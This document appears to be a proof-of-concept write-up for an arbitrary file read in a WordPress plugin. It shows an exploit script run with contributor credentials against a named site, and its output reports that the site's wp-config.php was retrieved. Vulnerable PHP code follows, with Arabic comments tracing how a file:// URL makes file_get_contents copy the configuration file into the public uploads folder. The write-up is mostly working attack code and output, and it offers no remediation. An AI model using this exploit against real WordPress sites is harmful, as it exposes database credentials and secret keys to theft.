python3 ./exploit.py http://techcorp.cc contributor password   
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

function update_post() {
    if ( empty( $posts = $_POST['posts'] ) ) {
        wp_send_json( [
            'error' => true,
            'message' => __( 'Data is null!', 'lqdai' ),
        ] );
    }

    $args = [
        'ID'            => $posts['post_id'],
        'post_title'    => $posts['title'],
        'post_content'  => $posts['content'],
        'post_status'   => 'draft',
    ];

    $update_post = wp_update_post( $args );
    
    if ( is_wp_error( $update_post ) ) {
        wp_send_json( [
            'error' => true,
            'message' => $update_post->get_error_messages()
        ] );
    } else {
        wp_set_post_tags( $posts['post_id'], $posts['tags'], false );

        if ( !empty( $posts['image'] ) ) {
            $this->insert_image( $posts['post_id'], $posts['image'] );  // <-- ثغرة تنزيل ملفات عشوائية
        }
    }
}

function insert_image( $post_id, $image_url ) {
    // Get the path to the uploads directory
    $upload_dir = wp_upload_dir();
    $image_data = file_get_contents($image_url);

    $filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
    
    // Save the image to the uploads directory
    if ( wp_mkdir_p($upload_dir['path']) ) {
        $file = $upload_dir['path'] . '/' . $filename;
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }
    
    file_put_contents($file, $image_data);  // <-- يكتب 
    
    // Get the attachment ID for the image
    $wp_filetype = wp_check_filetype($filename, null );
    $attachment = array(
        'post_mime_type' => $wp_filetype['type'],
        'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
        'post_content' => '',
        'post_status' => 'inherit'
    );
    $attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
    require_once(ABSPATH . 'wp-admin/includes/image.php');
    $attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
    wp_update_attachment_metadata( $attachment_id, $attachment_data );
    
    // Set the attachment ID as the featured image for the post
    set_post_thumbnail($post_id, $attachment_id);
}

// يوفر المستخدم: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';

// تقرأ file_get_contents() الملف (تعمل افتراضيًا في PHP)
$image_data = file_get_contents($image_url);  // يقرأ /var/www/html/wp-config.php

// يتم إنشاء اسم الملف من المسار
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// تقوم parse_url() بإرجاع '/var/www/html/wp-config.php'
// تقوم sanitize_file_name() بإزالة الشرطات: 'varwwwhtmlwp-config.php'
// تلحق '.jpg': 'varwwwhtmlwp-config.php.jpg'

// يتم كتابة الملف في دليل الرفع
$file = $upload_dir['path'] . '/' . $filename;
// النتيجة: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data);  // يكتب محتوى wp-config.php